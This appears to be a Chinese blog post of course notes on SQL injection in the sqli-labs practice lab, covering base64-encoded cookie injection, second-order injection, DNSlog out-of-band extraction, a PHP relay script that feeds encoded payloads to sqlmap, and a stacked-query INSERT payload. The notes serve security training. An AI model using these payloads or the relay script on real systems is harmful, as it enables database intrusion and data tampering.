2020小迪培训(第17天 WEB 漏洞-二次,加解密,DNS,堆叠注入)

WEB 漏洞-二次,加解密,DNS, 堆叠等注入

前言

image-20210803155054964

加解密,二次,DNSlog 注入,堆叠查询注入

注入原理,演示案例,实际应用(中转注入)

演示案例

sqlilabs-less21-cookie&加解密注入(实际案例)
  • 为什么要加密进行注入?

    ​ 答:代码中对cookee进行base64_decode解码,解码之后带入数据库中。所以我们在注入语句要按照它的加密方式进行加密,然后再提交。

    img

  • 进行抓包,我们可以看到数据包中uname的值是被加密的

    image-20210822202925642

  • 把%3D改成=号,Decode as base64,利用编码插件得出结果。

    image-20210822203115166

  • 注入类型为cookie,我们先构造好注入代码admin’ and 1=1,再进行加密后进行注入操作

    image-20210822205234867

  • 发现没有回显,我们在这里使用上节课的报错注入方式,我们先将对应注入语句进行base64加密,接着进行注入(这里以获取数据库版本号进行演示,其他信息的获取是类似的)

    image-20210822210036322

    image-20210822210129234

sqlilabs-less24-post 登陆框&二次注入(实际案例)
  • 与之前注入的区别:

    • 无法通过扫描工具或者代码自己手工测试出来的,二次注入一般在审计代码过程中发现的!
    • 从前端或者黑盒测试无法看到
  • 二次注入原理,主要分为两步:

    • 第一步:插入恶意数据

      ​ 第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。

    • 第二步:引用恶意数据
      在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

      image-20210822211436410

  • 演示过程:

    • 首先进行用户的注册(插入恶意数据)

      image-20210822212451158
    • 查看数据库,注册成功!

      image-20210822212556161

    • 成功登录进去,这时候要求我们进行密码的修改,在这里我们将密码修改成xxxxxx(引用恶意数据)

      image-20210822212834623
    • 成功修改,我们再次查看数据库,发现被改密码的是dhakkan,二次注入到此成功!

      image-20210822213120485
    • 我们对源码再次进行研究,来进一步明白二次注入的思路所在

      image-20210822213704296

    • 小知识点:如果账号密码长度被限制了,应该如何处理?

      • 如果在前端有限制,我们可以在前端修改代码(按f12进行size值修改即可)
      • 如果在后端有限制,数据库里面的数据刚开始就设定长度的情况下,我们是无法修改其长度的。
sqlilabs-less9-load_file&dnslog 带外注入(实际案例)
  • 条件:高权限,文件读取操作

  • 解决了盲注不能回显数据,效率低的问题

  • 原理介绍:

    1. 通过这个登录注册网站获取到对应 Identifier和API Token

    2. 进行对应语句的输入,在这里我以获取版本为例子

      image-20210824143515100

    3. 在对应网站,我们就可以看到版本信息

      image-20210824143946622

  • 工具使用

    • 在这个网站中下载压缩包,解压在python2文件中

    • 根据github上的要求对配置文件进行修改,打开配置文件config.py修改

      image-20210824164614334

    • 创建一个bat文件(内容为:cmd.exe),双击打开后进入命令行,输入命令 python dnslogSql.py 启动

      image-20210824164904942

    • 接着对应的规则进行注入即可

      Usage: dnslogSql.py [options] -u http://10.1.1.9/sqli-labs/Less-9/?id=1' and ({})--+
      
      如果没有单引号干扰,可以去掉id后面的分号
      如过没有其他符号干扰,可以去掉后面的--+
      
      Options:
      --version             show program's version number and exit
      -h, --help            show this help message and exit
      -n TASKNAME, --name=TASKNAME
                              task name
      -t THREAD_COUNT, --thread=THREAD_COUNT
                              thread_count
      -u URL, --url=URL     target include injection
      -i INF, --inf=INF     Testing target and Try to get information
      --dbs                 get database
      -D DB                 database name
      --tables              get table
      -T TABLE              table name
      --columns             get column
      -C COLUMN             column name
      --dump                get data
      
  • Sqlmap Base64编码注入
    • 使用工具中tamper目录下自带的插件,详情点击这个网站 https://www.bbsmax.com/A/A2dmVVQBze/

    • 在没有插件和插件不能满足我们需求的时候,我们该怎么办?

      • 我们可以进行二次开发,对语言没有限制,在这里我们使用php代码为例(file_get_contents详解),代码如下

        //test.php
        
        <?php
        
        $url='http://xxxx/job_bystjb/yjs_byszjs.asp?id=';
        
        $payload=base64_encode($_GET['x']);
        
        echo $payload;
        
        $urls=$url.$payload;
        
        file_get_contents($urls);
        
        echo $urls;
        
        ?>
            
        
      • 打开sqlmap执行这个语句:python sqlmap.py “http://127.0.0.1/test.php?x=” -v 3

      image-20210824153438840

堆叠查询注入

​ Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

  • 局限性:并不是每一个环境下都可以执行,可能受到API或者数据库引擎的不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些数据。

  • 作用:当我们注入的时候需要管理员的账号密码,而账号是加密的,我们无法对其进行加解密,这时候我们就可以使用堆叠注入进行插入数据,用户密码是我们自定义的,可以正常解密登录!

  • mysql命令行堆叠查询

    image-20210824162015043
  • 案例演示(sqliabs Less-38)

    • 我们要输入的注入语句为

      http://127.0.0.1/sqlilabs/Less-38/?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
      
    • 我们进行注入后网页返回如下

      image-20210824162632194

    • 再次查看数据库,发现增加一条记录,这也是我们注入的语句

    image-20210824162732897

涉及资源

http://ceye.io/

https://github.com/ADOOO/DnslogSqlinj

 

最后感谢小迪师傅的视频!!

笔记来源视频:点击这里

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值